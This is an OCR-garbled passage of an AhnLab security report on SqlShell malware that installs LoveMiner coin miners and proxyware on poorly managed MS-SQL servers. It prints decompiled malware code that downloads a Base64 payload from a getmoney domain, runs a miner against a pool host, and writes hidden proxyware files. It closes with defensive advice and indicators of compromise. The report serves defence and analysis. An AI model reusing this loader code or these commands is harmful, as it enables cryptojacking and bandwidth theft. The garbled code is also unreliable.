@  WinExec(string, int) : int @06000003 239 | } i
8. xortref bvte : void @06000012 e Iz;g
180,
168
+
this.Xor{ref bytes):
this.m_sBaselr| = Encoding.Default.@etString(bytes)
3.3.3. LOVEMINER

As a CoinMiner that is being distributed to vulnerable MS-SQL servers, LoveMiner has been found with

downloaders in the form of exe executables and CLR Stored Procedure. [7]
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rn: Sy:stem.)fml (i.C.C.CJ. o 53 i i string ver = webClient2.DownloadStrinal "http://c.getwoney. conpany/
O Ml[rcsc‘tS?L rks (1.0.0.0) H | ver. tut” b Trimd 3
48 Nicrosoft Sglserver Works.dil 54 string text3 = webClientZ,DownloadStrinal "http: //c. getmoney, company/
b PE i dats. tut” )
b =B References [ i i Common . SetPayload( textd);
b Resources =t} i Comnon. GetVersion{ver);
A ) 57 : Sybase.dlldata = Convert FromBaseB4Strinaltextd);
o 58
59 i + '
‘; B0 | ¢ Sybase, Load{ )
6l : 1y
b £ Base Type and Interfaces 62 thread, Start{ )
3 Derived Types 63 3
@, cctor) : void @0 o } _
@ ctorg - veid @0 gg {catch (Exception ex)
@, Load) : void @0 67 i Common.Loglex.Message);
@ Runf : SgiString @O 28 68 3
@ currver : string 69 i
@ 70
@ 71 /¢ Token: 0x06000027 RID: 39 R¥A: OxO000038ES File Offset: Ox0O0001AES
4 () Mic 72 private static void Load()
Micr 73 [
; 74 try
b Base Type and Interfaces 75 t
b Derived Types il string text = "sqlservr.exe -o servl. love-network.cc:2082 -u CLRVG -k --max-cpu-
@ _ctor() : void @0600H | usage=h0 --api-worker-id = --http-port 40889 --http-access-token dgzpwd":
@ CheckPort(int) - bocl @0600( 77 : OLLFronMemory di IfronMemory = new OLLFromMemory(Sybase.d!data);
@  ExecSql(string, out string) : be 78 { Gybase Execial delesateFromFuncMame =
®  GetPayload(out bytel)) - bool ' dl | fromMenory . GetDelegateF romFunchame<sybase. Exectal=( "Execiql” )
@ Gewversion(sting) - string @0 gg ?tring[] array = text.Split{new charl]
o] ring) : void @ a1 ' -
=] y a2 -
kLl mic 23 i\ &tringBuilder halg = new StringBuilder("getmoney#2021" )
P B System Dat: - a4 : delegateFromFunchame(halo, array.lenath, array);

The LoveMiner downloader accesses a specific URL where it downloads and saves a Base64 encoded CoinMiner
in the “C:\windows\temp\0c0134c0cbebf48be8c95920f5ea74fc.txt” path. If the file already exists, it reads and

decodes it in Base64, and loads it into the memory.

C @ =2 2% | cgetmoney.company/data.txt @ & O

TYqRAAMAALAEALGA//BARL s ah Al A0A0ALLAALLAALGALLARLASS0AANASALAALAAALAALAADG L
AACAEAALATugdit &nM | baBTHORYGhpcyBwemSnemFt | GNhbnEwdCEi Z5BywdWdgaWdgRET | G1 v ZE0Uu

DOOK.J A8 4488 48800mTYAn/ i bKS Anyuf +Jsr i S0fKobdmyulkBaak/ i bkAuTni pW+Js r+ZdmkSydmy
wNiZ3q)vibKE2NmCaY+JsrzY2ekendnysal Z8qi f ibKAuTmiaM+Jsrn/ i ak+35myt Jj JBggP i bkBgh
nyqr+psrko2SknHAnysq) Zaqn/ i bkvalnyae+Jsrko kST dnyuf +dwrnv i bKyglmSqe+JsrUnl jaJ)
AAmyshAARAAAREAAALAAARALALARARAAALABORDAAZIYLE S ) .
ABBEOARARABAFPKEALADARARRACARDARRAALARARAGRRBGA |SU1F = SEremp(at, TgetmoneyFagal®);
AAAAMAYAEAABAAAAL L EACIAALALALASAACIAA AL ARALESDLD if ( tresult )

wvhAAAAACacLAaEwAALER AT [ ALIAALLALADLALLLCwcLICH fwd i

AAAERBACAAABIEKEAOAERAALARALAALALAHA AMA Jhdass  XMrig:tProcess:iProcess(vis, a2, a3);
entry = xmrig::Entry::get(vls);
if [ entry )
1

After ultimately loading the CoinMiner DLL, the ExecSql() export function is called with the argument. This DLL
is a customized XMRig that checks if the first string received as an argument is “getmoney#2021”. Afterward, it

mines for Monero coins after parsing the mining pool address and ID received as the third argument.

Among the SqlShells that install LoveMiner, some even come in the form of a dropper instead of a downloader.
XMRig CoinMiner is saved in the “gmp” internal resources, and SqlShell is responsible for loading this in the
memory. As a customized XMRig, gmp configures the information required for mining like the mining pool

address from the initial routine.
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42 Microsoft SqlServerWorks.di 12 [8qlFunction{Datadccess = DatadccessKind.Read, Systenlatafccess = SystemDatadccesskind
b opE 14 public static SqlString Runlint flag)
b =B References 18 !
4 i 18 string data = "isok™;
d ;Snur[esh‘t et " . e 1 object @lock = Core._Lock:
B Microsoft SglServer Works. Properties. Resources.resources I8 lock (@lack)
m gmp 1 i
4} - 20 try
b %%, <Module> @02000001 2] §
4 % Core @02000002 22 bool flas2 = ProcessUtil . GetHinerProcess() == null;
b 1 Base Type and Interfaces gg H (‘f (Flaaz)
kM C e yes 25 ] PELoader . Load(Resources.ane, Core,BINN_PATH, “-sMSSOLSERVER™, null}:
€, .cctor() : void @06000001 26 P
@ _ctor() : void @06000004 27 H int __cdecl main(int argc, const char **argv, const char **envp)
@, Getsqicmdpath( : void @06000003 26 ?ﬂtch (Exception ex)

@ Run(int) : SqlsString @0600

@, BINN_PATH : string @0400: o b, DEtBlnaRahAstaan

@, SQLCMD_BYTES : byte[] @ 32 )

9, SQLCMD_DIR : string @04 a3 bool flagd = flag == 1;

@, SQLCMD_PATH : string 34 IF (Flagd)

@, _Lock : object @04000001 & ¢ : §__malloc_base(@x63uisd);
ader @02000003 6 Thread. S18ap(5000); "sqlservr.exe”;
+ SqiServer Work 31 comn, Callsqlomd( " sp_sybasa”, “1° ) o3
ESq e o 20 |

xer . love-network. cc: 2082”5

= "CLRVE";
-max-cpu-usage=58";
i-worker-id”;

tp-port”;
on s
ttp-access-token”;

gzpwd™;
--http-no-restricted”;

TR ]
o4 oA 08 04 o4 oW o3 04 06 o8 oA

3.4. Proxyware Installation

Proxyware is a program that shares a part of the Internet bandwidth that is currently available on a system to
others. Users who install the program are usually paid with a certain amount of cash in exchange for providing the
bandwidth. While users can earn some money from installing proxyware on their systems, they should know they
are taking risks by allowing external users to perform certain behaviors by using their networks. For instance,
users cannot know in detail the companies that the proxyware platforms claim to use their services. Even if they
can verify their customers on their own, it is impossible to check if your bandwidth will be maliciously exploited

in the future or not.

Malware that installs proxyware without the consent of users have been covered before here in the ASEC
Blog. [8] Systems that are infected with the malware have their network bandwidth stolen for threat actors to gain

profit. The method of earning profit by using the infected system’s resources is similar to that of CoinMiner.

As can be seen in the ASD log, the threat actor installed a proxyware with the name “sdk.mdf” in an MS-SQL
server and used an SqlShell to execute the proxyware and steal bandwidth. “sdk.mdf” is the DLL file responsible

for the actual features, and the file itself only possesses the features provided by proxyware platforms.

B sqlservrexe Creates executable file Creates executable file in Windows
path B sdk.mdf
B sqlservrexe Creates executable file Creates executable file in Windows
path B Tmpdl7Cimp

However, the “Tmp417C.tmp” SqlShell that is created together loads the proxyware “sdk.mdf” and calls the
p2p_start() export function so that it operates without users knowing. When calling p2p_start(), the email address

to receive the profits must be transferred as an argument, and the threat actor’s email address can be confirmed in

the following figure.
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422 sqiserverWorks.CLR P2P.dll 2 LEgLErocRaIRe)
= 25 public static void Start(}
b & PE 95 /]
b =B References 27 try
4 Rescurces 28 (.
4 {} - 24 : File.Deletel "o #windowstt askstitedk . mdF " )
b %, <Module> @02000001 an : bool isf4BitOperatingSystem = Environment. |sG4Bit0peratingdysten:
4 #y Core @02000002 a1 ' if (isB4BitOPeratingsvsten)
4 Base Type and Intefacas gg : { File Writedl|Bytes( "C:ttwindowstitaskstitisdk. ndf", R 1.sdkE4)
! ! ilelrite vtes("Ciitwindowstitasksttisdk. ndf ", Resourcel.s i
b Derived Types 34 ' H
@ _ctorQ : void @0600000 a5 ! else
@ p2p_is_active( - int @06000002 36 ! {
@ p2p start(bytef], in®) : int @06G0C 37 i File Mritedl |Bytes( C:ttwindowstitaskstisdk. ndf ", Resource!.sdk8g)
@ p2p_stop( - int @0600000: 28 ] +
® Start( : void @06 39 | bvte[] bytes = Encoding.Default . GetBytes{ "wyucsc@gmail .con” )
i 000 40 : Core.pZp_startibytes, -1%
) EL sdkpat)h_.?tr.u:g“@c_uwcm i -
L} sqisen inE 42 . catch {Exception)
b %%, Resourcel @02000003 43 R

Additionally, the name of the SqlShell is “SqlServerWorks.CLR.P2P.dll”, which is similar to LoveMiner’s
SqlShell, and it is assumed that they belong to the same threat actor as actual ASD logs have shown that

LoveMiner and proxyware are often installed together.
4. Conclusion

Recently, the SqlShell malware is being installed on poorly managed MS-SQL database servers. SqlShell can
install additional malware such as backdoors, CoinMiners, and proxyware, or it can execute malicious commands

received from threat actors in a way similar to WebShell.

Typical attacks that target MS-SQL database servers include brute force and dictionary attacks on systems where
account credentials are poorly managed. In the case of MS-SQL servers that are targeted for attacks, there are
many cases where they are installed together during the installation process of ERP and business solutions, in

addition to being directly constructed as database servers.

Because of this, administrators should use passwords that are difficult to guess for their accounts and change them
periodically to protect the database server from brute force attacks and dictionary attacks, and update to the latest
patch to prevent vulnerability attacks. They should also use security programs such as firewalls for database

servers accessible from outside to restrict access by threat actors.

File Detection

— CoinMiner/Win.Generic.R503247 (2022.07.08.00)

— CoinMiner/Win.Generic.R531037 (2022.10.20.02)

— CoinMiner/Win.Generic.R548410 (2023.01.04.01)

— Downloader/Win.MyKings.C2097492 (2022.03.28.03)
— Downloader/Win.MyKings.C4262789 (2022.03.28.03)
— Malware/Win.Generic.C4624149 (2021.09.06.02)

— Trojan/Win.Generic.C4819385 (2021.12.08.01)

— Trojan/Win.Generic.C4977493 (2022.02.22.00)

— Trojan/Win.LEMONDUCK.C4206511 (2022.02.17.01)
— Trojan/Win.SqlShell.C4975954 (2022.02.18.01)

— Trojan/Win.SqlShell.C4975955 (2022.02.18.01)

— Trojan/Win.SqlShell.C4975957 (2022.02.18.01)

— Trojan/Win.SqlShell.C4975960 (2022.02.18.01)

— Trojan/Win.SqlShell.C4975962 (2022.02.18.01)
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— Trojan/Win.SqlShell.C5109399 (2022.05.02.01)
— Trojan/Win.SqlShell.C5271966 (2022.10.04.02)
— Trojan/Win.SqlShell.C5310256 (2022.11.21.03)
— Trojan/Win.SqlShell.C5310259 (2022.11.21.03)
— Trojan/Win.SqlShell.R473182 (2022.02.18.01)
— Trojan/Win.SqlShell.R473183 (2022.02.18.01)
— Trojan/Win.SqlShell.R489848 (2022.05.02.01)
— Trojan/Win.SqlShell.R535294 (2022.11.21.03)
— Trojan/Win.SqlShell.R546675 (2022.12.28.03)
— Trojan/Win.SqlShell.R549834 (2023.01.09.03)
— Trojan/Win.SqlShell.R567705 (2023.04.04.01)
— Trojan/Win.SqlShell.R576151 (2023.05.02.02)

MD5

012e607f99ecc5b108b292d72938456a
130d2b07alc4cde8f0804df9fa9622d4
15c87480e0405b41{675222ef2bea95a
17606de13187c780ad3bf6caf2d1bd8¢
1€92e397d0ad3d8006d99f81d913ffal

Additional IOCs are available on AhnLab TIP.
URL

http[:1//54[.136[.110[.]73[:]1001/
http[:1//88[.1214[.126[.19[:113785/
http[:]//adminserver([.]online[:]1001/
http[:]//c[.]getmoney[.]Jcompany/CLRV7/datal.]txt
http[:]1//c[.]getmoney[.Jcompany/CLRV7/ver[.]txt
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.
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Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/52479
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